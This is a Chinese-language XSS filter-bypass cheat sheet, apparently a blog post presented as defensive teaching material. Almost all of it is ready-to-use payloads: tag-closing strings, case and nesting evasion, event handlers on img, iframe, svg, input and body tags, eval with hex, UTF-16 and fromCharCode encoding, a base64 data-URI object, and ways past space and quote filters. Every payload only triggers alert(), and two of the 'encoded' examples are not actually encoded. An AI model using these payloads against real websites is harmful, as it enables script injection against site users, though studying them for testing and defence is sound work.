作者:小剛
一位苦于資訊安全的萌新小白帽,記得關注給個贊,謝謝
本實驗僅用于資訊防禦教學,切勿用于其它用途
XSS bypass
- XSS bypass姿勢
-
- 閉合标簽
- 标簽繞過
-
- 大小寫繞過
- 嵌套繞過
- 空字元繞過
- img标簽
- iframe标簽
- input标簽
- a标簽
- svg标簽
- body
- 編碼繞過
-
- JS16編碼
- ASCII與UTF-16、Unicode、Hex互相轉換
- String.fromCharCode
- data協定
- 字元過濾繞過
-
- 空格
- 單引号
XSS bypass姿勢
嘗試構造xss,突破各種限制
閉合标簽
"><script>alert(1);</script>
//閉合大部分标簽
*/-->'");></iframe></script></style></title></textarea><a>a</a>
#*/-->'");></iframe></script></style></title></textarea><iframe >
//寬字元閉合
*/-->%cf"%d5'></iframe></script></style></title></textarea>
//回車換行
%0D%0A
标簽繞過
fuzz各種标簽,檢查是否存在攔截或者過濾
大小寫繞過
<ScRipt>ALeRt("XSS");</sCRipT>
嵌套繞過
<sc<script>ript>alert(/xss/);</script>
<scscriptript>alert(/xss/);</script>
空字元繞過
<ScR%09ipt>ALeRt(/XSS/);</sCRipT>
img标簽
<img src="" onerror="alert(/xss/)">
<img/src/onerror=alert(/xss/)>
<img/src='123'onerror=[/xss/].find(alert)>
iframe标簽
<iframe>是架構标簽,可以嘗試替代<script>突破限制
<iframe onload=alert(/xss/)>
<iframe src=javascript:alert(/xss/)>
input标簽
主要是在各種輸入框内使用
<input value="" onclick="alert(/xss/)">
<input value="" oninput="alert(/xss/)">
a标簽
連結标簽,點選即可觸發
<a href="javascript:alert(/xss/)" target="_blank" rel="external nofollow" >link</a>
svg标簽
SVG支援動畫特效,也就是利用一些标簽控制其他标簽的屬性,進而形成動畫特效。
<svg/onload=alert(/xss/)>
body
body主體标簽觸發,不咋常用
<BODY onload=alert(/xss/)>
編碼繞過
當alert被過濾時
可以嘗試eval觸發,并把alert語句編碼
JS16編碼
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>
ASCII與UTF-16、Unicode、Hex互相轉換
//ASCII轉UTF-16
<img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")>
//ASCII轉Unicode
<img src="1" onerror=eval("alert(/xss/)")>
//ASCII轉Hex
<img src="1" onerror=eval("alert(/xss/)")>
String.fromCharCode
該函數用于從一些Unicode字元值中傳回一個字元串,傳回值屬于String對象
<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
data協定
一種僞協定,和javascript協定一樣
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>
字元過濾繞過
空格
<img/src=""onerror="alert(/xss/)">
<img/**/src=""onerror="alert(/xss/)">
<img/*a*/src=""onerror="alert(/xss/)">
單引号
<img/src=""onerror="alert(`xss`)">